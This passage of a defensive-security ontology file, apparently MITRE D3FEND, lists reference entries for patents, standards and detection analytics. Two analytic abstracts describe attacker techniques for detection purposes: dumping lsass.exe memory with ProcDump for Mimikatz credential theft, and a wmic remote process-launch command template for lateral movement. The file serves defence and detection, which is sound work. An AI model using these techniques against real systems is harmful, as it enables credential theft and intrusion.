    rdfs:label "Reference - Decoy and deceptive data object technology - Cymmetria Inc" ;
    d3f:has-link "https://patents.google.com/patent/US20170134423A1"^^xsd:anyURI ;
    d3f:kb-abstract "A computer implemented method of detecting unauthorized access to a protected network by monitoring a dynamically updated deception environment, comprising launching, on one or more decoy endpoints, one or more decoy operating system (OS) managing one or more of a plurality of deception applications mapping a plurality of applications executed in a protected network, updating dynamically a usage indication for a plurality of deception data objects deployed in the protected network to emulate usage of the plurality of deception data objects for accessing the deception application(s) wherein the plurality of deception data objects are configured to trigger an interaction with the deception application(s) when used, detecting usage of data contained in the deception data object(s) by monitoring the interaction and identifying one or more potential unauthorized operations based on analysis of the detection." ;
    d3f:kb-author "Dean Sysman; Gadi Evron; Imri Goldberg; Itamar Sher; Shmuel Ur" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "Cymmetria Inc" ;
    d3f:kb-reference-of d3f:DecoySessionToken,
        d3f:DecoyUserCredential ;
    d3f:kb-reference-title "Decoy and deceptive data object technology" .

d3f:Reference-DetectingScript-basedMalware_CrowdstrikeInc a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Detecting script-based malware - Crowdstrike Inc" ;
    d3f:has-link "https://patents.google.com/patent/US20190188384A1"^^xsd:anyURI ;
    d3f:kb-abstract "Described herein are systems, techniques, and computer program products for preventing execution, by a scripting engine, of harmful commands that may be introduced by computer malware or other mechanisms. The system identifies certain host processes that may attempt to utilize a hosted scripting engine. An unmanaged interface module is injected into an identified host process. The unmanaged interface module is configured to detect certain conditions indicating the likelihood that a scripting engine will be instantiated, and in response to inject a managed interface module into the host process. The managed interface module hooks into certain methods of the scripting engine to intercept commands before they are executed by the scripting engine. The managed and unmanaged interface components then communicate with a kernel-mode threat detection component to determine whether any commands should be blocked." ;
    d3f:kb-author "Ion-Alexandru IONESCU; Satoshi Tanda" ;
    d3f:kb-mitre-analysis """The patent describes techniques that can be implemented to detect and block malicious commands and command scripts from being executed by scripting engines.

### Script Execution Monitoring explanation
This patent describes software installed on the host system that hooks into methods of a scripting engine to intercept commands before they are executed and block commands if they are determined to be harmful. For example regular expression checking may be used to identify commands having malicious patterns. Expression checking may be used for script files as well as interactively - typed commands.

### File Content Signatures explanation
This patent includes File Content Signatures because in the case of a script file, a hash of the file is compared against hashes of known malicious script files to determine whether the script file is malicious.""" ;
    d3f:kb-organization "Crowdstrike Inc" ;
    d3f:kb-reference-of d3f:FileContentRules,
        d3f:ScriptExecutionAnalysis ;
    d3f:kb-reference-title "Detecting script-based malware" .

d3f:Reference-DigitalIdentityGuidelines800-63-3 a d3f:GuidelineReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Digital Identity Guidelines 800-63-3" ;
    d3f:has-link "https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-63-3.pdf"^^xsd:anyURI ;
    d3f:kb-author "NIST" ;
    d3f:kb-organization "NIST" ;
    d3f:kb-reference-of d3f:One-timePassword,
        d3f:StrongPasswordPolicy ;
    d3f:kb-reference-title "Digital Identity Guidelines" .

d3f:Reference-DomainKeysIdentifiedMail-Signatures-IETF a d3f:SpecificationReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - RFC 6376: DomainKeys Identified Mail (DKIM) Signatures - IETF" ;
    d3f:has-link "https://tools.ietf.org/html/rfc6376"^^xsd:anyURI ;
    d3f:kb-abstract """DomainKeys Identified Mail (DKIM) permits a person, role, or organization that owns the signing domain to claim some responsibility for a message by associating the domain with the message.  This can be an author's organization, an operational relay, or one of their agents.  DKIM separates the question of the identity of the Signer of the message from the purported author of the message.  Assertion of responsibility is validated through a
cryptographic signature and by querying the Signer's domain directly
to retrieve the appropriate public key.  Message transit from author to recipient is through relays that typically make no substantive change to the message content and thus preserve the DKIM signature.""" ;
    d3f:kb-author "D. Crocker, T. Hansen, M. Kucherawy" ;
    d3f:kb-organization "Internet Engineering Task Force (IETF)" ;
    d3f:kb-reference-of d3f:TransferAgentAuthentication ;
    d3f:kb-reference-title "RFC 6376: DomainKeys Identified Mail (DKIM) Signatures" .

d3f:Reference-DynamicSelectionAndGenerationOfAVirtualCloneForDetonationOfSuspiciousContentWithinAHoneyNetwork_PaloAltoNetworksInc a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Dynamic selection and generation of a virtual clone for detonation of suspicious content within a honey network - Palo Alto Networks Inc" ;
    d3f:has-link "https://patents.google.com/patent/US9882929B1/en?oq=US-9882929-B1"^^xsd:anyURI ;
    d3f:kb-abstract "Techniques for dynamic selection and generation of detonation location of suspicious content with a honey network are disclosed. In some embodiments, a system for dynamic selection and generation of detonation location of suspicious content with a honey network includes a virtual machine (VM) instance manager that manages a plurality of virtual clones executed in an instrumented VM environment, in which the plurality of virtual clones executed in the instrumented VM environment correspond to the honey network that emulates a plurality of devices in an enterprise network; and an intelligent malware detonator that detonates a malware sample in at least one of the plurality of virtual clones executed in the instrumented VM environment." ;
    d3f:kb-author "Taylor Ettema; Huagang Xie" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "Palo Alto Networks Inc" ;
    d3f:kb-reference-of d3f:DecoyNetworkResource,
        d3f:StandaloneHoneynet ;
    d3f:kb-reference-title "Dynamic selection and generation of a virtual clone for detonation of suspicious content within a honey network" .

<http://d3fend.mitre.org/ontologies/d3fend.owl#Reference-EvictionGuidanceforNetworksAffectedbytheSolarWindsandActiveDirectory/M365Compromise-CISA> a d3f:InternetArticleReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Eviction Guidance for Networks Affected by the SolarWinds and Active Directory/M365 Compromise - CISA" ;
    d3f:has-link "https://www.cisa.gov/news-events/analysis-reports/ar21-134a"^^xsd:anyURI ;
    d3f:kb-organization "CISA" ;
    d3f:kb-reference-of d3f:CredentialRotation,
        d3f:DNSCacheEviction ;
    d3f:kb-reference-title "Eviction Guidance for Networks Affected by the SolarWinds and Active Directory/M365 Compromise" .

d3f:Reference-FIPS-201-3 a d3f:SpecificationReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - FIPS 201-3" ;
    d3f:has-link "https://nvlpubs.nist.gov/nistpubs/FIPS/NIST.FIPS.201-3.pdf"^^xsd:anyURI ;
    d3f:kb-abstract "This document establishes a standard for a Personal Identity Verification (PIV) system that meets the control and security objectives of Homeland Security Presidential Directive-12. It is based on secure and reliable forms of identity credentials issued by the Federal Government to its employees and contractors. These credentials are used by mechanisms that authenticate individuals who require access to federally controlled facilities, information systems, and applications. This Standard addresses requirements for initial identity proofing, infrastructure to support interoperability of identity credentials, and accreditation of organizations and processes issuing PIV credentials." ;
    d3f:kb-author "NIST" ;
    d3f:kb-reference-of d3f:ElectronicLockMonitoring,
        d3f:ProximitySensorMonitoring ;
    d3f:kb-reference-title "FIPS 201-3: Personal Identity Verification (PIV) of Federal Employees and Contractors" .

d3f:Reference-FWTK-FirewallToolkit_ a d3f:InternetArticleReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - FWTK - Firewall Toolkit" ;
    d3f:has-link "https://blogs.gartner.com/john_pescatore/2008/10/02/this-week-in-network-security-history-the-firewall-toolkit/"^^xsd:anyURI ;
    d3f:kb-abstract "delivered to DARPA in ~1993" ;
    d3f:kb-author "" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "" ;
    d3f:kb-reference-title "FWTK - Firewall Toolkit" .

d3f:Reference-FileAndFolderPermissions a d3f:UserManualReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - File and Folder Permissions" ;
    d3f:has-link "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-2000-server/bb727008(v=technet.10)?redirectedfrom=MSDN"^^xsd:anyURI ;
    d3f:kb-organization "Microsoft" ;
    d3f:kb-reference-of d3f:LocalFilePermissions ;
    d3f:kb-reference-title "File and Folder Permissions" .

d3f:Reference-FileSecurityUsingFileFormatValidation_OPSWATInc a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - File Security Using File Format Validation - OPSWAT Inc" ;
    d3f:has-link "https://patentimages.storage.googleapis.com/ba/10/83/968a6345eee505/US20200104494A1.pdf"^^xsd:anyURI ;
    d3f:kb-abstract "A method for securely validating the file format type including receiving a file having a file format type, a header and a content block. The header has a header block with a description representing attributes of the actual content in the file . The content block has leading bytes representing attributes of the actual content, and actual content. Data is parsed from the description of the header block, the leading bytes and the actual content. Data from the description is compared to the data from the leading bytes, data from the leading bytes is compared to the data from the actual content, and data from the description is compared to the data from the actual content. The file format type is validated and trustable when the data from the description, the data from the leading bytes and the data from the actual content are consistent with one another." ;
    d3f:kb-author "Benjamin Czarny, Yiyi Miao, Jianpeng Mo" ;
    d3f:kb-organization "OPSWAT, Inc." ;
    d3f:kb-reference-of d3f:ContentValidation,
        d3f:FileFormatVerification ;
    d3f:kb-reference-title "File Security Using FIle Format Validation" .

d3f:Reference-FirewallForInterentAccess_SecureComputingLLC a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Firewall for interent access - Secure Computing LLC" ;
    d3f:has-link "https://patents.google.com/patent/GB2317539A"^^xsd:anyURI ;
    d3f:kb-abstract "Regulating the flow of internetwork connections through a firewall (10) having a network protocol stack (14,16,18) which includes an Internet Protocol (IP) layer (16). A determination is made of the parameters characteristic of a connection request, including a netelement parameter characteristic of where the connection request came from. A query is generated and a determination is made whether there is a rule corresponding to that query. If there is a rule corresponding to the query, a determination is made whether authentication is required by the rule. If authentication is required by the rule, an authentication protocol is activated and the connection is activated if the authentication protocol is completed successfully." ;
    d3f:kb-author "Edward B Stockwell, Alan E Klietz" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "Secure Computing LLC" ;
    d3f:kb-reference-of d3f:InboundTrafficFiltering ;
    d3f:kb-reference-title "Firewall for interent access" .

d3f:Reference-FirewallForProcessingAConnectionlessNetworkPacket_NationalSecurityAgency a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Firewall for processing a connectionless network packet - National Security Agency" ;
    d3f:has-link "https://patents.google.com/patent/US7073196B1"^^xsd:anyURI ;
    d3f:kb-abstract "The present invention is a device for and method of accessing a network by initializing a database, an approved list, and a disapproved list; receiving an connectionless network packet; computing a flow tag based on the connectionless network packet; discarding the connectionless network packet and returning to the second step if the flow tag is on the disapproved list; allowing access to the network and returning to the second step if the flow tag is on the approved list; comparing the flow tag to the database if the flow tag is not on the approved list or the disapproved list; discarding the connectionless network packet, adding the flow tag to the disapproved list, and returning to the second step if the database rejects the flow tag; and allowing access to the network, adding the flow tag to the approved list, and returning to the second step if the database accepts the flow tag." ;
    d3f:kb-author "Patrick W. Dowd, John T. McHenry" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "National Security Agency" ;
    d3f:kb-reference-of d3f:InboundTrafficFiltering ;
    d3f:kb-reference-title "Firewall for processing a connectionless network packet" .

d3f:Reference-FirewallForProcessingConnection-orientedAndConnectionlessDatagramsOverAConnection-orientedNetwork_NationalSecurityAgency a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Firewall for processing connection-oriented and connectionless datagrams over a connection-oriented network - National Security Agency" ;
    d3f:has-link "https://patents.google.com/patent/US6615358B1"^^xsd:anyURI ;
    d3f:kb-abstract "The present invention is a device for and method of accessing an information network by initializing a database, an ATM approved list, an IP approved list, and an IP disapproved list; receiving a datagram; discarding the datagram if it is not on the ATM approved list; determining the datagram's type; allowing access to the network and comparing the connection request, if any, to the database if the datagram is ATM signaling; discarding the datagram if the datagram is ATM signaling and the database denies the request; adding the request to the ATM approved list if the datagram is ATM signaling and the database allows the request; allowing access to the network if the datagram is ATM data that excludes IP data and the request is on the ATM approved list; computing a flow tag if the datagram is ATM data that includes IP data; discarding the datagram if the flow tag is on the IP disapproved list; allowing access to the network if the flow tag is on the IP approved list; comparing the flow tag to the database if the flow tag is neither on the IP approved list nor on the IP disapproved list; discarding the datagram and adding the flow tag to the IP disapproved list if the database rejects the flow tag; and allowing access to the network and adding the flow tag to the corresponding approved list if the database accepts the flow tag; and performing these steps on the next datagram" ;
    d3f:kb-author "Patrick W. Dowd, John T. McHenry" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "National Security Agency" ;
    d3f:kb-reference-of d3f:InboundTrafficFiltering ;
    d3f:kb-reference-title "Firewall for processing connection-oriented and connectionless datagrams over a connection-oriented network" .

d3f:Reference-FirewallsThatFilterBasedUponProtocolCommands_IntelCorp a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Firewalls that filter based upon protocol commands - Intel Corp" ;
    d3f:has-link "https://patents.google.com/patent/US6832256B1"^^xsd:anyURI ;
    d3f:kb-abstract "Data transfer is controlled between a first network and a second network of computers by a firewall-proxy combination. Active interpretation of protocol commands exchanged between the first network and the second network is performed to determine specific actions concerning completion of the protocol request. This active firewall-proxy combination may exist on either the first or second network of computers. This method of control provides centralized control and administration for all potentially reachable resources within a network." ;
    d3f:kb-author "James E. Toga" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "Intel Corp" ;
    d3f:kb-reference-of d3f:InboundTrafficFiltering ;
    d3f:kb-reference-title "Firewalls that filter based upon protocol commands" .

d3f:Reference-FirmwareVerificationTrapezoid a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Firmware Verification Trapezoid" ;
    d3f:has-link "https://patents.google.com/patent/US9674183B2/en"^^xsd:anyURI ;
    d3f:kb-abstract "A trust control management method for security, operable on a computer system generates a unique Trust ID value by combining user-defined values with hardware-specific values associated with the user's computer system and storing the Trust ID value in a memory register physically associated with the hardware of the computer system." ;
    d3f:kb-author "Michael J. Dyer, Jose E. Gonzalez, Albert Caballero" ;
    d3f:kb-organization "Trapezoid, Inc" ;
    d3f:kb-reference-of d3f:FirmwareVerification ;
    d3f:kb-reference-title "System and method for hardware-based trust control management" .

d3f:Reference-GeneralUseOfLocksInTheProtectionAndControlOfFacilitiesRadioActiveMaterialsClassifiedInformationClassifiedMatterAndSafeguardsInformation a d3f:GuidelineReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - REGULATORY GUIDE 5.12 GENERAL USE OF LOCKS IN THE PROTECTION AND CONTROL OF: FACILITIES, RADIOACTIVE MATERIALS, CLASSIFIED INFORMATION, CLASSIFIED MATTER, AND SAFEGUARDS INFORMATION" ;
    d3f:has-link "https://www.nrc.gov/docs/ML1535/ML15357A411.pdf"^^xsd:anyURI ;
    d3f:kb-abstract """This regulatory guide (RG) describes methods and procedures that the staff of the U.S. Nuclear
Regulatory Commission (NRC) considers acceptable for the selection, use, and control of locking
devices. Locks can be used in the protection of: areas, facilities, certain radioactive materials, and
specific types of information (e.g., classified matter, National Security Information (NSI), Restricted Data
(RD), Formerly Restricted Data (FRD), Safeguards Information (SGI)).""" ;
    d3f:kb-author "U.S. NUCLEAR REGULATORY COMMISSION OFFICE OF NUCLEAR REGULATORY RESEARCH" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "U.S. NUCLEAR REGULATORY COMMISSION OFFICE OF NUCLEAR REGULATORY RESEARCH" ;
    d3f:kb-reference-of d3f:PhysicalEnclosureHardening,
        d3f:PhysicalLocking ;
    d3f:kb-reference-title "REGULATORY GUIDE 5.12 GENERAL USE OF LOCKS IN THE PROTECTION AND CONTROL OF: FACILITIES, RADIOACTIVE MATERIALS, CLASSIFIED INFORMATION, CLASSIFIED MATTER, AND SAFEGUARDS INFORMATION" .

d3f:Reference-IdentificationOfTracerouteNodesAndAssociatedDevices a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Identification of traceroute nodes and associated devices" ;
    d3f:has-link "https://patents.google.com/patent/US10079749B2/en"^^xsd:anyURI ;
    d3f:kb-abstract "Various embodiments pertain to communication network systems. In particular, various embodiments relate to multi-path probing in communication network systems that can be used to estimate the complete topology of the network. A method includes receiving data at a source node from a tracerouting probe in a network. The data includes information about at least one network node. The method also includes determining an identification for the at least one network node based on information. In addition, the method includes using the identification of the at least one network node to determine an identification of at least one device." ;
    d3f:kb-author "Tomas KUBIK, Lan Li, Tomas RYBKA, Karlo ZATYLNY, Chris O'Brien" ;
    d3f:kb-organization "SolarWinds Worldwide LLC" ;
    d3f:kb-reference-title "Identification of traceroute nodes and associated devices" .

d3f:Reference-LibreNMSDocsNetworkMapExtension a d3f:UserManualReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Libre NMS - Network Map Extension" ;
    d3f:has-link "https://docs.librenms.org/Extensions/Network-Map/"^^xsd:anyURI ;
    d3f:kb-abstract """LibreNMS has the ability to show you a network map based on:
* xDP Discovery
* MAC addresses""" ;
    d3f:kb-organization "LibreNMS.org" ;
    d3f:kb-reference-of d3f:NetworkMapping ;
    d3f:kb-reference-title "Libre NMS - Network Map Extension" .

d3f:Reference-LsassProcessDumpViaProcdump_MITRE a d3f:ExternalKnowledgeBase,
        owl:NamedIndividual ;
    rdfs:label "Reference - CAR-2019-07-002: Lsass Process Dump via Procdump - MITRE" ;
    d3f:has-link "https://car.mitre.org/analytics/CAR-2019-07-002/"^^xsd:anyURI ;
    d3f:kb-abstract """ProcDump is a sysinternal command-line utility whose primary purpose is monitoring an application for CPU spikes and generating crash dumps during a spike that an administrator or developer can use to determine the cause of the spike.

ProcDump may be used to dump the memory space of lsass.exe to disk for processing with a credential access tool such as Mimikatz. This is performed by launching procdump.exe as a privileged user with command line options indicating that lsass.exe should be dumped to a file with an arbitrary name.""" ;
    d3f:kb-author "MITRE" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "MITRE" ;
    d3f:kb-reference-of d3f:ProcessSpawnAnalysis ;
    d3f:kb-reference-title "CAR-2019-07-002: Lsass Process Dump via Procdump" .

d3f:Reference-MalwareDetectionUsingLocalComputationalModels_CrowdstrikeInc a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Malware detection using local computational models - Crowdstrike Inc" ;
    d3f:has-link "https://patents.google.com/patent/US20190026466A1"^^xsd:anyURI ;
    d3f:kb-abstract "Example techniques herein determine that a trial data stream is associated with malware (\"dirty\") using a local computational model (CM). The data stream can be represented by a feature vector. A control unit can receive a first, dirty feature vector (e.g., a false miss) and determine the local CM based on the first feature vector. The control unit can receive a trial feature vector representing the trial data stream. The control unit can determine that the trial data stream is dirty if a broad CM or the local CM determines that the trial feature vector is dirty. In some examples, the local CM can define a dirty region in a feature space. The control unit can determine the local CM based on the first feature vector and other clean or dirty feature vectors, e.g., a clean feature vector nearest to the first feature vector." ;
    d3f:kb-author "Sven Krasser,David Elkind, Patrick Crenshaw, Kirby James Koster" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "Crowdstrike Inc" ;
    d3f:kb-reference-of d3f:ProcessTermination ;
    d3f:kb-reference-title "Malware detection using local computational models" .

d3f:Reference-MethodForControllingComputerNetworkSecurity_CheckpointSoftwareTechnologiesLtd a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Method for controlling computer network security - Checkpoint Software Technologies Ltd" ;
    d3f:has-link "https://patents.google.com/patent/EP0658837B1/"^^xsd:anyURI ;
    d3f:kb-abstract "A method of operating a security system for a computer network in which data is passed in said network as data packets, said system controlling the passage of said data packets in the network according to a security rule, where each aspect of said network controlled by said security rule has been defined, said security rule has been defined in terms of said aspects and converted into a set of filter language instructions." ;
    d3f:kb-author "Gil Shwed" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "Checkpoint Software Technologies Ltd" ;
    d3f:kb-reference-of d3f:InboundTrafficFiltering ;
    d3f:kb-reference-title "Method for controlling computer network security" .

d3f:Reference-NIST-SP800-116r1 a d3f:GuidelineReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - NIST SP 800-116 Rev. 1" ;
    d3f:has-link "https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-116r1.pdf"^^xsd:anyURI ;
    d3f:kb-abstract "This recommendation provides a technical guideline to use Personal Identity Verification (PIV) Cards in facility access; enabling federal agencies to operate as government-wide interoperable enterprises. These guidelines cover the risk-based strategy to select appropriate PIV authentication mechanisms as expressed within Federal Information Processing Standard (FIPS) 201." ;
    d3f:kb-author "NIST" ;
    d3f:kb-reference-of d3f:ElectronicLockMonitoring,
        d3f:ProximitySensorMonitoring ;
    d3f:kb-reference-title "Guidelines for the Use of PIV Credentials in Facility Acces" .

d3f:Reference-NIST-Special-Publication-800-53A-Revision-5 a d3f:GuidelineReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - NIST Special Publication 800-53A Revision 5 - Assessing Security and Privacy Controls in Information Systems and Organizations" ;
    d3f:has-link "https://doi.org/10.6028/NIST.SP.800-53Ar5"^^xsd:anyURI ;
    d3f:kb-abstract "This publication provides a methodology and set of procedures for conducting assessments of security and privacy controls employed within systems and organizations within an effective risk management framework. The assessment procedures, executed at various phases of the system development life cycle, are consistent with the security and privacy controls in NIST Special Publication 800-53, Revision 5. The procedures are customizable and can be easily tailored to provide organizations with the needed flexibility to conduct security and privacy control assessments that support organizational risk management processes and are aligned with the stated risk tolerance of the organization. Information on building effective security and privacy assessment plans is also provided with guidance on analyzing assessment results." ;
    d3f:kb-organization "NIST" ;
    d3f:kb-reference-of d3f:OperationalRiskAssessment ;
    d3f:kb-reference-title "NIST Special Publication 800-53A Revision 5 - Assessing Security and Privacy Controls in Information Systems and Organizations" .

d3f:Reference-NearMemoryInMemoryDetectionofFilelessMalware a d3f:AcademicPaperReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Near-Memory & In-Memory Detection of Fileless Malware" ;
    d3f:has-link "https://web.inf.ufpr.br/mazalves/wp-content/uploads/sites/13/2021/03/memsys2020.pdf"^^xsd:anyURI ;
    d3f:kb-abstract "Fileless malware are recent threats to computer systems that load directly into memory, and whose aim is to prevent anti-viruses (AVs) from successfully matching byte patterns against suspicious files written on disk. Their detection requires that software-based AVs continuously scan memory, which is expensive due to repeated locks and polls. However, research advances introduced near-memory and in-memory processing, which allow memory controllers to trigger basic computations without moving data to the CPU. In this paper, we address AVs performance overhead by moving them to the hardware, i.e., we propose instrumenting processors’ memory controller or smart memories (near- and in-memory malware detection, respectively) to accelerate memory scanning procedures. To do so, we present MINI-ME, the Malware Identification based on Near- and In-Memory Evaluation mechanism, a hardware-based AV accelerator that interrupts the program’s execution if malicious patterns are discovered in their memory. We prototyped MINI-ME in a simulator and tested it with a set of 21 thousand in-the-wild malware samples, which resulted in multiple signatures matching with less than 1% of performance overhead and rates of 100% detection, and zero false-positives and false-negatives." ;
    d3f:kb-author "Marcus Botacin, André Grégio, Marco Antonio Zanata Alves" ;
    d3f:kb-reference-of d3f:HostShutdown ;
    d3f:kb-reference-title "Near-Memory & In-Memory Detection of Fileless Malware" .

d3f:Reference-Network-levelPolymorphicShellcodeDetectionUsingEmulation a d3f:AcademicPaperReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Network-level polymorphic shellcode detection using emulation" ;
    d3f:has-link "https://www.cs.unc.edu/~fabian/course_papers/polymorphic-detect.pdf"^^xsd:anyURI ;
    d3f:kb-author "Michalis Polychronakis" ;
    d3f:kb-reference-of d3f:ByteSequenceEmulation ;
    d3f:kb-reference-title "Network-level polymorphic shellcode detection using emulation" .

d3f:Reference-NetworkFirewallWithProxy_SecureComputingLLC a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Network firewall with proxy - Secure Computing LLC" ;
    d3f:has-link "https://patents.google.com/patent/GB2318031A"^^xsd:anyURI ;
    d3f:kb-abstract "A proxy which is part of a firewall controls exchanges of information between two application entities. The proxy interrogates attempts to establish a communication session by requesting entities with a server entity in lower layers in accordance with defined authentication procedures. The Proxy interfaces with networking software to direct a communication stack to monitor connection requests to any address on specific ports. The requestor's address, and the server's address are checked against a access control list. If either address is invalid, the proxy closes the connection. If both are valid, a new connection is setup such that both the requestor and server are transparently connected to the proxy with variable higher levels being connected in a relay mode. Protocol data units are interrogated for conformance to a protocol session, and optionally further decoded to add additional application specific filtering. In one embodiment, an OSI architecture comprises the levels." ;
    d3f:kb-author "Michael W Green, Ricky Ronald Kruse" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "Secure Computing LLC" ;
    d3f:kb-reference-of d3f:InboundTrafficFiltering ;
    d3f:kb-reference-title "Network firewall with proxy" .

d3f:Reference-OverviewOfTheSeccompSandbox a d3f:InternetArticleReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Overview of the seccomp sandbox" ;
    d3f:has-link "https://code.google.com/archive/p/seccompsandbox/wikis/overview.wiki"^^xsd:anyURI ;
    d3f:kb-reference-of d3f:SystemCallFiltering ;
    d3f:kb-reference-title "Overview of the seccomp sandbox" .

d3f:Reference-PlatformFirmwareResiliencyGuidelines_NIST a d3f:GuidelineReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Platform Firmware Resiliency Guidelines - NIST" ;
    d3f:has-link "https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-193.pdf"^^xsd:anyURI ;
    d3f:kb-abstract "This document provides technical guidelines and recommendations supporting resiliency of platform firmware and data against potentially destructive attacks. The platform is a collection of fundamental hardware and firmware components needed to boot and operate a system. A successful attack on platform firmware could render a system inoperable, perhaps permanently, or requiring reprogramming by the original manufacturer, resulting in significant disruptions to users. The technical guidelines in this document promote resiliency in the platform by describing security mechanisms for protecting the platform against unauthorized changes, detecting unauthorized changes that occur, and recovering from attacks rapidly and securely. Implementers, including Original Equipment Manufacturers (OEMs) and component/device suppliers, can use these guidelines to build stronger security mechanisms into platforms. System administrators, security professionals, and users can use this document to guide procurement strategies and priorities for future systems." ;
    d3f:kb-author "NIST" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "NIST" ;
    d3f:kb-reference-of d3f:FirmwareVerification ;
    d3f:kb-reference-title "Platform Firmware Resiliency Guidelines" .

d3f:Reference-PointerValidationFunction_SEI a d3f:GuidelineReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Pointer Validation Function - SEI" ;
    d3f:has-link "https://wiki.sei.cmu.edu/confluence/display/c/MEM10-C.+Define+and+use+a+pointer+validation+function"^^xsd:anyURI ;
    d3f:kb-organization "Software Engineering Institute" ;
    d3f:kb-reference-of d3f:NullPointerChecking,
        d3f:PointerValidation ;
    d3f:kb-reference-title "SEI CERT C Coding Standard" .

d3f:Reference-RemotelyLaunchedExecutablesViaWMI_MITRE a d3f:ExternalKnowledgeBase,
        owl:NamedIndividual ;
    rdfs:label "Reference - CAR-2014-12-001: Remotely Launched Executables via WMI - MITRE" ;
    d3f:has-link "https://car.mitre.org/analytics/CAR-2014-12-001/"^^xsd:anyURI ;
    d3f:kb-abstract """Adversaries can use Windows Management Instrumentation (WMI) to move laterally by launching executables remotely. For adversaries to achieve this, they must open a WMI connection to a remote host. This RPC activity is currently detected by CAR-2014-11-007. After the WMI connection has been initialized, a process can be remotely launched using the command: wmic /node:"<hostname>" process call create "<command line>", which is detected via CAR-2016-03-002.

This leaves artifacts at both a network (RPC) and process (command line) level. When wmic.exe (or the schtasks API) is used to remotely create processes, Windows uses RPC (135/tcp) to communicate with the the remote machine.

After RPC authenticates, the RPC endpoint mapper opens a high port connection, through which the schtasks Remote Procedure Call is actually implemented. With the right packet decoders, or by looking for certain byte streams in raw data, these functions can be identified.

When the command line is executed, it has the parent process of C:\\windows\\system32\\wbem\\WmiPrvSE.exe. This analytic looks for these two events happening in sequence, so that the network connection and target process are output.""" ;
    d3f:kb-author "MITRE" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "MITRE" ;
    d3f:kb-reference-of d3f:ProcessLineageAnalysis,
        d3f:RPCTrafficAnalysis ;
    d3f:kb-reference-title "CAR-2014-12-001: Remotely Launched Executables via WMI" .

d3f:Reference-SMBSessionSetups_MITRE a d3f:ExternalKnowledgeBase,
        owl:NamedIndividual ;
    rdfs:label "Reference - CAR-2013-09-003: SMB Session Setups - MITRE" ;
    d3f:has-link "https://car.mitre.org/analytics/CAR-2013-09-003/"^^xsd:anyURI ;
    d3f:kb-abstract """Account usage within SMB can be used to identify compromised credentials, and the hosts accessed with them.

This analytic monitors SMB activity that deals with user activity rather than file activity.""" ;
    d3f:kb-author "MITRE" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "MITRE" ;
    d3f:kb-reference-of d3f:AuthorizationEventThresholding,
        d3f:IPCTrafficAnalysis ;
    d3f:kb-reference-title "CAR-2013-09-003: SMB Session Setups" .

d3f:Reference-SMBWriteRequest-NamedPipes_MITRE a d3f:ExternalKnowledgeBase,
        owl:NamedIndividual ;
    rdfs:label "Reference - CAR-2014-03-001: SMB Write Request - NamedPipes - MITRE" ;
    d3f:has-link "https://car.mitre.org/analytics/CAR-2014-03-001/"^^xsd:anyURI ;
    d3f:kb-abstract """An SMB write can be an indicator of lateral movement, especially when combined with other information such as execution of that written file. Named pipes are a subset of SMB write requests. Named pipes such as msftewds may not be alarming; however others, such as lsarpc, may.

Monitoring SMB write requests still creates some noise, particularly with named pipes. As a result, SMB is now split between writing named pipes and writing other files.""" ;
    d3f:kb-author "MITRE" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "MITRE" ;
    d3f:kb-reference-of d3f:IPCTrafficAnalysis,
        d3f:RPCTrafficAnalysis ;
    d3f:kb-reference-title "CAR-2014-03-001: SMB Write Request - NamedPipes" .

d3f:Reference-SecureMultipurposeInternetMailExtensionsMIME-Version3.1 a d3f:SpecificationReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Secure/Multipurpose Internet Mail Extensions (S/MIME) Version 3.1" ;
    d3f:has-link "https://tools.ietf.org/html/rfc3851"^^xsd:anyURI ;
    d3f:kb-organization "Internet Engineering Task Force (IETF)" ;
